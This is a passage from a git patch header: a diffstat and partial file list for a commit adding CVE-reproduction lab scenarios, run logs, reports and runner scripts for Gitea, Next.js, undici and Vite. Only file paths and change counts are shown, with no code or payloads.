From a3edc888346536acfe693aff55035bbcf53cf09e Mon Sep 17 00:00:00 2001 From: hao Date: Tue, 17 Mar 2026 18:30:02 -0700 Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0:=20421=20=E4=B8=AA=E6=96=87?= =?UTF-8?q?=E4=BB=B6=20-=202026-03-17=2018:30:02?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../fixtures/gitea/authz-bypass/scenario.json | 2 + .../fixtures/gitea/file-upload/scenario.json | 2 + .../gitea/proxy-boundary/scenario.json | 2 + .../fixtures/gitea/ssrf/scenario.json | 2 + .../fixtures/gitea/xss/scenario.json | 2 + .../nextjs/authz-bypass/scenario.json | 2 + .../nextjs/deserialization/scenario.json | 2 + .../nextjs/proxy-boundary/scenario.json | 2 + .../fixtures/nextjs/ssrf/scenario.json | 2 + .../fixtures/nextjs/xss/scenario.json | 2 + .../fixtures/shared/node_fixture.mjs | 171 + .../fixtures/shared/python_fixture.py | 193 + .../fixtures/undici/ssrf/scenario.json | 2 + .../fixtures/vite/file-upload/scenario.json | 2 + .../vite/proxy-boundary/scenario.json | 2 + .../templates/fixtures/vite/xss/scenario.json | 2 + .../compose/compose.yaml | 26 + .../logs/attack.json | 57 + .../logs/baseline.json | 24 + .../logs/docker/app.log | 0 .../logs/doctor.json | 44 + .../logs/ready.json | 12 + .../logs/seed.json | 21 + .../report.html | 45 + .../report.md | 66 + .../run.json | 145 + .../timeline.mmd | 8 + .../assets/baseline-dom.html | 26 + .../assets/baseline.png | Bin 0 -> 28111 bytes .../assets/proof-dom.html | 26 + .../assets/proof.png | Bin 0 -> 36925 bytes .../compose/compose.yaml | 26 + .../logs/attack.json | 68 + .../logs/baseline-browser.json | 14 + .../logs/baseline-console.json | 1 + .../logs/baseline-network.json | 6 + .../logs/baseline-page.json | 5 + .../logs/baseline.json | 24 + .../logs/docker/app.log | 0 .../logs/doctor.json | 44 + .../logs/proof-browser.json | 14 + .../logs/proof-console.json | 1 + .../logs/proof-network.json | 6 + .../logs/proof-page.json | 5 + .../logs/ready.json | 12 + .../logs/seed.json | 21 + .../report.html | 62 + .../report.md | 86 + .../run.json | 197 ++ .../timeline.mmd | 8 + .../assets/baseline-dom.html | 26 + .../assets/baseline.png | Bin 0 -> 27148 bytes .../assets/proof-dom.html | 26 + .../assets/proof.png | Bin 0 -> 37970 bytes .../compose/compose.yaml | 26 + .../logs/attack.json | 53 + .../logs/baseline-browser.json | 14 + .../logs/baseline-console.json | 1 + .../logs/baseline-network.json | 6 + .../logs/baseline-page.json | 5 + .../logs/baseline.json | 24 + .../logs/docker/app.log | 0 .../logs/doctor.json | 44 + .../logs/proof-browser.json | 14 + .../logs/proof-console.json | 1 + .../logs/proof-network.json | 6 + .../logs/proof-page.json | 5 + .../logs/ready.json | 12 + .../logs/seed.json | 21 + .../report.html | 62 + .../report.md | 86 + .../run.json | 197 ++ .../timeline.mmd | 8 + .../assets/baseline-dom.html | 26 + .../assets/baseline.png | Bin 0 -> 28111 bytes .../assets/proof-dom.html | 26 + .../assets/proof.png | Bin 0 -> 36925 bytes .../compose/compose.yaml | 26 + .../logs/attack.json | 68 + .../logs/baseline-browser.json | 14 + .../logs/baseline-console.json | 1 + .../logs/baseline-network.json | 6 + .../logs/baseline-page.json | 5 + .../logs/baseline.json | 24 + .../logs/docker/app.log | 0 .../logs/doctor.json | 44 + .../logs/proof-browser.json | 14 + .../logs/proof-console.json | 1 + .../logs/proof-network.json | 6 + .../logs/proof-page.json | 5 + .../logs/ready.json | 12 + .../logs/seed.json | 21 + .../report.html | 62 + .../report.md | 86 + .../run.json | 197 ++ .../timeline.mmd | 8 + .../assets/baseline-dom.html | 26 + .../assets/baseline.png | Bin 0 -> 27148 bytes .../assets/proof-dom.html | 26 + .../assets/proof.png | Bin 0 -> 38082 bytes .../compose/compose.yaml | 26 + .../logs/attack.json | 53 + .../logs/baseline-browser.json | 14 + .../logs/baseline-console.json | 1 + .../logs/baseline-network.json | 6 + .../logs/baseline-page.json | 5 + .../logs/baseline.json | 24 + .../logs/docker/app.log | 0 .../logs/doctor.json | 44 + .../logs/proof-browser.json | 14 + .../logs/proof-console.json | 1 + .../logs/proof-network.json | 6 + .../logs/proof-page.json | 5 + .../logs/ready.json | 12 + .../logs/seed.json | 21 + .../report.html | 62 + .../report.md | 86 + .../run.json | 197 ++ .../timeline.mmd | 8 + .../compose/compose.yaml | 26 + .../logs/attack.json | 68 + .../logs/baseline.json | 24 + .../logs/docker/app.log | 0 .../logs/doctor.json | 44 + .../logs/ready.json | 12 + .../logs/seed.json | 21 + .../report.html | 45 + .../report.md | 66 + .../run.json | 145 + .../timeline.mmd | 8 + .../assets/baseline-dom.html | 26 + .../assets/baseline.png | Bin 0 -> 28395 bytes .../assets/proof-dom.html | 26 + .../assets/proof.png | Bin 0 -> 37208 bytes .../compose/compose.yaml | 26 + .../logs/attack.json | 68 + .../logs/baseline-browser.json | 14 + .../logs/baseline-console.json | 1 + .../logs/baseline-network.json | 6 + .../logs/baseline-page.json | 5 + .../logs/baseline.json | 25 + .../logs/docker/app.log | 0 .../logs/doctor.json | 44 + .../logs/proof-browser.json | 14 + .../logs/proof-console.json | 1 + .../logs/proof-network.json | 6 + .../logs/proof-page.json | 5 + .../logs/ready.json | 12 + .../logs/seed.json | 21 + .../report.html | 62 + .../report.md | 86 + .../run.json | 197 ++ .../timeline.mmd | 8 + .../compose/compose.yaml | 26 + .../logs/attack.json | 57 + .../logs/baseline.json | 25 + .../logs/docker/app.log | 0 .../logs/doctor.json | 44 + .../logs/ready.json | 12 + .../logs/seed.json | 21 + .../report.html | 45 + .../report.md | 66 + .../run.json | 145 + .../timeline.mmd | 8 + .../compose/compose.yaml | 26 + .../logs/attack.json | 68 + .../logs/baseline.json | 25 + .../logs/docker/app.log | 0 .../logs/doctor.json | 44 + .../logs/ready.json | 12 + .../logs/seed.json | 21 + .../report.html | 45 + .../report.md | 66 + .../run.json | 145 + .../timeline.mmd | 8 + 07-framework-security/cms/directus/INDEX.md | 2 +- 07-framework-security/cms/discourse/INDEX.md | 2 +- 07-framework-security/cms/drupal/INDEX.md | 2 +- 07-framework-security/cms/ghost/INDEX.md | 2 +- 07-framework-security/cms/joomla/INDEX.md | 2 +- 07-framework-security/cms/mediawiki/INDEX.md | 2 +- 07-framework-security/cms/moodle/INDEX.md | 2 +- 07-framework-security/cms/strapi/INDEX.md | 2 +- 07-framework-security/cms/wordpress/INDEX.md | 2 +- .../ecommerce/adobe-commerce/INDEX.md | 2 +- .../ecommerce/magento-open-source/INDEX.md | 2 +- .../ecommerce/medusa/INDEX.md | 2 +- .../ecommerce/opencart/INDEX.md | 2 +- .../ecommerce/openmage/INDEX.md | 2 +- .../ecommerce/prestashop/INDEX.md | 2 +- .../ecommerce/saleor/INDEX.md | 2 +- .../ecommerce/shopware/INDEX.md | 2 +- .../ecommerce/woocommerce/INDEX.md | 2 +- .../frameworks/angular/INDEX.md | 2 +- .../frameworks/aspnet-core/INDEX.md | 2 +- .../frameworks/astro/INDEX.md | 2 +- .../frameworks/django/INDEX.md | 2 +- .../frameworks/echo/INDEX.md | 2 +- .../frameworks/esbuild/INDEX.md | 2 +- .../frameworks/express/INDEX.md | 2 +- .../frameworks/fastify/INDEX.md | 2 +- .../frameworks/flask/INDEX.md | 2 +- 07-framework-security/frameworks/gin/INDEX.md | 2 +- .../frameworks/hapi/INDEX.md | 2 +- 07-framework-security/frameworks/koa/INDEX.md | 2 +- .../frameworks/laravel/INDEX.md | 2 +- .../frameworks/nestjs/INDEX.md | 2 +- .../frameworks/nextjs/INDEX.md | 16 +- .../nextjs/cases/nextjs-cve-2020-15242.md | 20 +- .../nextjs/cases/nextjs-cve-2024-51479.md | 18 +- .../frameworks/nodejs/INDEX.md | 2 +- .../frameworks/nuxt/INDEX.md | 2 +- .../frameworks/rails/INDEX.md | 2 +- .../frameworks/react/INDEX.md | 2 +- .../frameworks/spring-boot/INDEX.md | 2 +- .../frameworks/spring-framework/INDEX.md | 2 +- .../frameworks/spring-security/INDEX.md | 2 +- .../frameworks/sveltekit/INDEX.md | 2 +- .../frameworks/symfony/INDEX.md | 2 +- .../frameworks/undici/INDEX.md | 2 +- .../frameworks/vite/INDEX.md | 2 +- 07-framework-security/frameworks/vue/INDEX.md | 2 +- .../frameworks/webpack/INDEX.md | 2 +- .../frameworks/werkzeug/INDEX.md | 2 +- .../platforms/adminer/INDEX.md | 2 +- .../platforms/gitea/INDEX.md | 19 +- .../gitea/cases/gitea-cve-2018-15192.md | 18 +- .../gitea/cases/gitea-cve-2018-18926.md | 20 +- .../gitea/cases/gitea-cve-2019-1010261.md | 20 +- .../gitea/cases/gitea-cve-2020-13246.md | 20 +- .../gitea/cases/gitea-cve-2021-28378.md | 20 +- .../gitea/cases/gitea-cve-2025-68940.md | 18 +- .../platforms/gitlab-ce/INDEX.md | 2 +- .../platforms/grafana/INDEX.md | 2 +- .../platforms/jenkins/INDEX.md | 2 +- .../platforms/kibana/INDEX.md | 2 +- .../platforms/mattermost/INDEX.md | 2 +- .../platforms/phpmyadmin/INDEX.md | 2 +- .../platforms/redmine/INDEX.md | 2 +- .../servers/apache-httpd/INDEX.md | 2 +- .../servers/apache-tomcat/INDEX.md | 2 +- 07-framework-security/servers/caddy/INDEX.md | 2 +- .../servers/haproxy/INDEX.md | 2 +- 07-framework-security/servers/nginx/INDEX.md | 2 +- .../servers/traefik/INDEX.md | 2 +- 08-threat-intel/generated/coverage-matrix.md | 4 +- .../generated/dashboard/advisories.json | 370 +- .../generated/dashboard/architecture.json | 35 +- .../dashboard/docs/architecture-library.html | 35 +- .../dashboard/docs/coverage-matrix.html | 4 +- .../generated/dashboard/profiles.json | 476 +++ 08-threat-intel/generated/dashboard/runs.json | 3149 ++++++++++++++++- .../generated/dashboard/summary.json | 27 +- .../generated/dashboard/systems.json | 14 +- 08-threat-intel/generated/latest-ingest.md | 8 +- 08-threat-intel/generated/run-summary.json | 8 +- .../advisories/gitea--CVE-2018-15192.json | 80 - .../advisories/gitea--CVE-2018-18926.json | 74 - .../advisories/gitea--CVE-2019-1010261.json | 73 - .../advisories/gitea--CVE-2020-13246.json | 75 - .../advisories/gitea--CVE-2021-28378.json | 77 - .../advisories/gitea--CVE-2025-68939.json | 74 - .../advisories/gitea--CVE-2025-68940.json | 75 - .../advisories/nextjs--CVE-2020-15242.json | 72 - .../advisories/nextjs--CVE-2024-34351.json | 18 +- .../advisories/nextjs--CVE-2024-51479.json | 73 - .../advisories/nextjs--CVE-2025-29927.json | 85 - .../advisories/nextjs--CVE-2025-49826.json | 75 - .../advisories/nextjs--CVE-2025-55173.json | 76 - .../advisories/nextjs--CVE-2025-57752.json | 76 - .../advisories/nextjs--CVE-2025-57822.json | 76 - .../advisories/nextjs--CVE-2025-59471.json | 77 - .../advisories/nextjs--CVE-2025-59472.json | 74 - .../nextjs--GHSA-5j59-xgg2-r9c4.json | 90 - .../nextjs--GHSA-9qr9-h5gf-34mp.json | 83 - .../nextjs--GHSA-h25m-26qc-wcjf.json | 88 - .../nextjs--GHSA-mwv6-3258-q52c.json | 88 - .../nextjs--GHSA-w37m-7fhw-fmv9.json | 86 - .../advisories/undici--CVE-2022-31151.json | 79 - .../advisories/undici--CVE-2022-32210.json | 71 - .../advisories/undici--CVE-2023-45143.json | 81 - .../advisories/undici--CVE-2024-30260.json | 79 - .../advisories/undici--CVE-2024-30261.json | 79 - .../advisories/undici--CVE-2025-22150.json | 80 - .../advisories/undici--CVE-2025-47279.json | 77 - .../advisories/undici--CVE-2026-1525.json | 77 - .../advisories/undici--CVE-2026-1526.json | 77 - .../advisories/undici--CVE-2026-1527.json | 74 - .../advisories/undici--CVE-2026-1528.json | 74 - .../advisories/undici--CVE-2026-22036.json | 73 - .../advisories/undici--CVE-2026-2229.json | 77 - .../advisories/undici--CVE-2026-2581.json | 72 - .../advisories/vite--CVE-2024-23331.json | 83 - .../advisories/vite--CVE-2024-45811.json | 86 - .../advisories/vite--CVE-2024-45812.json | 92 - .../advisories/vite--CVE-2025-24010.json | 78 - .../advisories/vite--CVE-2025-30208.json | 84 - .../advisories/vite--CVE-2025-31125.json | 81 - .../advisories/vite--CVE-2025-31486.json | 82 - .../advisories/vite--CVE-2025-32395.json | 80 - .../advisories/vite--CVE-2025-46565.json | 80 - .../advisories/vite--CVE-2025-58751.json | 82 - .../advisories/vite--CVE-2025-58752.json | 83 - .../advisories/vite--CVE-2025-62522.json | 81 - ...-gitea--CVE-2018-15192-20260318012749.json | 145 + ...-gitea--CVE-2018-18926-20260318012526.json | 197 ++ ...itea--CVE-2019-1010261-20260318012624.json | 197 ++ ...-gitea--CVE-2020-13246-20260318012806.json | 197 ++ ...-gitea--CVE-2021-28378-20260318012813.json | 197 ++ ...-gitea--CVE-2025-68940-20260318012708.json | 145 + ...nextjs--CVE-2020-15242-20260318012830.json | 197 ++ ...nextjs--CVE-2024-34351-20260318012953.json | 145 + ...nextjs--CVE-2024-51479-20260318012913.json | 145 + 08-threat-intel/registry/systems/adminer.json | 20 - .../registry/systems/adobe-commerce.json | 22 - 08-threat-intel/registry/systems/angular.json | 21 - .../registry/systems/apache-httpd.json | 21 - .../registry/systems/apache-tomcat.json | 21 - .../registry/systems/aspnet-core.json | 21 - 08-threat-intel/registry/systems/astro.json | 20 - 08-threat-intel/registry/systems/caddy.json | 20 - .../registry/systems/directus.json | 21 - .../registry/systems/discourse.json | 21 - 08-threat-intel/registry/systems/django.json | 21 - 08-threat-intel/registry/systems/drupal.json | 22 - 08-threat-intel/registry/systems/echo.json | 20 - 08-threat-intel/registry/systems/esbuild.json | 20 - 08-threat-intel/registry/systems/express.json | 21 - 08-threat-intel/registry/systems/fastify.json | 21 - 08-threat-intel/registry/systems/flask.json | 21 - 08-threat-intel/registry/systems/ghost.json | 21 - 08-threat-intel/registry/systems/gin.json | 20 - 08-threat-intel/registry/systems/gitea.json | 59 - .../registry/systems/gitlab-ce.json | 21 - 08-threat-intel/registry/systems/grafana.json | 21 - 08-threat-intel/registry/systems/hapi.json | 20 - 08-threat-intel/registry/systems/haproxy.json | 20 - 08-threat-intel/registry/systems/jenkins.json | 21 - 08-threat-intel/registry/systems/joomla.json | 22 - 08-threat-intel/registry/systems/kibana.json | 21 - 08-threat-intel/registry/systems/koa.json | 20 - 08-threat-intel/registry/systems/laravel.json | 21 - .../registry/systems/magento-open-source.json | 21 - .../registry/systems/mattermost.json | 21 - .../registry/systems/mediawiki.json | 21 - 08-threat-intel/registry/systems/medusa.json | 20 - 08-threat-intel/registry/systems/moodle.json | 21 - 08-threat-intel/registry/systems/nestjs.json | 21 - 08-threat-intel/registry/systems/nextjs.json | 48 - 08-threat-intel/registry/systems/nginx.json | 21 - 08-threat-intel/registry/systems/nodejs.json | 21 - 08-threat-intel/registry/systems/nuxt.json | 21 - .../registry/systems/opencart.json | 21 - .../registry/systems/openmage.json | 20 - .../registry/systems/phpmyadmin.json | 21 - .../registry/systems/prestashop.json | 21 - 08-threat-intel/registry/systems/rails.json | 21 - 08-threat-intel/registry/systems/react.json | 21 - 08-threat-intel/registry/systems/redmine.json | 21 - 08-threat-intel/registry/systems/saleor.json | 20 - .../registry/systems/shopware.json | 21 - .../registry/systems/spring-boot.json | 20 - .../registry/systems/spring-framework.json | 21 - .../registry/systems/spring-security.json | 21 - 08-threat-intel/registry/systems/strapi.json | 21 - .../registry/systems/sveltekit.json | 20 - 08-threat-intel/registry/systems/symfony.json | 21 - 08-threat-intel/registry/systems/traefik.json | 20 - 08-threat-intel/registry/systems/undici.json | 35 - 08-threat-intel/registry/systems/vite.json | 34 - 08-threat-intel/registry/systems/vue.json | 21 - 08-threat-intel/registry/systems/webpack.json | 20 - .../registry/systems/werkzeug.json | 20 - .../registry/systems/woocommerce.json | 21 - .../registry/systems/wordpress.json | 22 - .../system-family/gitea-authz-bypass.yaml | 62 + .../system-family/gitea-file-upload.yaml | 64 + .../system-family/gitea-proxy-boundary.yaml | 64 + .../system-family/gitea-ssrf.yaml | 62 + .../system-family/gitea-xss.yaml | 64 + .../system-family/nextjs-authz-bypass.yaml | 62 + .../system-family/nextjs-deserialization.yaml | 62 + .../system-family/nextjs-proxy-boundary.yaml | 64 + .../system-family/nextjs-ssrf.yaml | 62 + .../system-family/nextjs-xss.yaml | 64 + .../system-family/undici-ssrf.yaml | 62 + .../system-family/vite-file-upload.yaml | 64 + .../system-family/vite-proxy-boundary.yaml | 64 + .../system-family/vite-xss.yaml | 64 + scripts/lab/attack.py | 6 + scripts/lab/baseline.py | 38 +- scripts/lab/browser.py | 28 +- scripts/lab/compose.py | 11 + scripts/lab/doctor.py | 131 + scripts/lab/evaluate.py | 100 + scripts/lab/main.py | 122 +- scripts/lab/provision.py | 57 +- scripts/lab/repro.py | 8 + scripts/lab/runners/__init__.py | 4 + scripts/lab/runners/common.py | 169 + scripts/lab/runners/dispatcher.py | 36 + scripts/lab/runners/gitea/__init__.py | 2 + scripts/lab/runners/gitea/authz_bypass.py | 10 + scripts/lab/runners/gitea/file_upload.py | 10 + scripts/lab/runners/gitea/proxy_boundary.py | 10 + scripts/lab/runners/gitea/ssrf.py | 10 + scripts/lab/runners/gitea/xss.py | 10 + scripts/lab/runners/nextjs/__init__.py | 2 + scripts/lab/runners/nextjs/authz_bypass.py | 10 + scripts/lab/runners/nextjs/deserialization.py | 10 + scripts/lab/runners/nextjs/proxy_boundary.py | 10 + scripts/lab/runners/nextjs/ssrf.py | 10 + scripts/lab/runners/nextjs/xss.py | 10 + scripts/lab/runners/undici/__init__.py | 2 + scripts/lab/runners/undici/ssrf.py | 10 + scripts/lab/runners/vite/__init__.py | 2 + scripts/lab/runners/vite/file_upload.py | 10 + scripts/lab/runners/vite/proxy_boundary.py | 10 + scripts/lab/runners/vite/xss.py | 10 + scripts/lab/seed.py | 23 +- scripts/lab/validators.py | 3 + 421 files changed, 12474 insertions(+), 5845 deletions(-) create mode 100644 00-environments/templates/fixtures/gitea/authz-bypass/scenario.json create mode 100644 00-environments/templates/fixtures/gitea/file-upload/scenario.json create mode 100644 00-environments/templates/fixtures/gitea/proxy-boundary/scenario.json create mode 100644 00-environments/templates/fixtures/gitea/ssrf/scenario.json create mode 100644 00-environments/templates/fixtures/gitea/xss/scenario.json create mode 100644 00-environments/templates/fixtures/nextjs/authz-bypass/scenario.json create mode 100644 00-environments/templates/fixtures/nextjs/deserialization/scenario.json create mode 100644 00-environments/templates/fixtures/nextjs/proxy-boundary/scenario.json create mode 100644 00-environments/templates/fixtures/nextjs/ssrf/scenario.json create mode 100644 00-environments/templates/fixtures/nextjs/xss/scenario.json create mode 100644 00-environments/templates/fixtures/shared/node_fixture.mjs create mode 100644 00-environments/templates/fixtures/shared/python_fixture.py create mode 100644 00-environments/templates/fixtures/undici/ssrf/scenario.json create mode 100644 00-environments/templates/fixtures/vite/file-upload/scenario.json create mode 100644 00-environments/templates/fixtures/vite/proxy-boundary/scenario.json create mode 100644 00-environments/templates/fixtures/vite/xss/scenario.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/compose/compose.yaml create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/docker/app.log create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/doctor.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/ready.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/seed.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.md create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/run.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/timeline.mmd create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/compose/compose.yaml create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-browser.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/docker/app.log create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/doctor.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-browser.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/ready.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/seed.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.md create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/run.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/timeline.mmd create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/compose/compose.yaml create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-browser.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/docker/app.log create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/doctor.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-browser.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/ready.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/seed.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.md create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/run.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/timeline.mmd create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/compose/compose.yaml create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-browser.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/docker/app.log create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/doctor.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-browser.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/ready.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/seed.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.md create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/run.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/timeline.mmd create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/compose/compose.yaml create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-browser.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/docker/app.log create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/doctor.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-browser.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/ready.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/seed.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.md create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/run.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/timeline.mmd create mode 100644 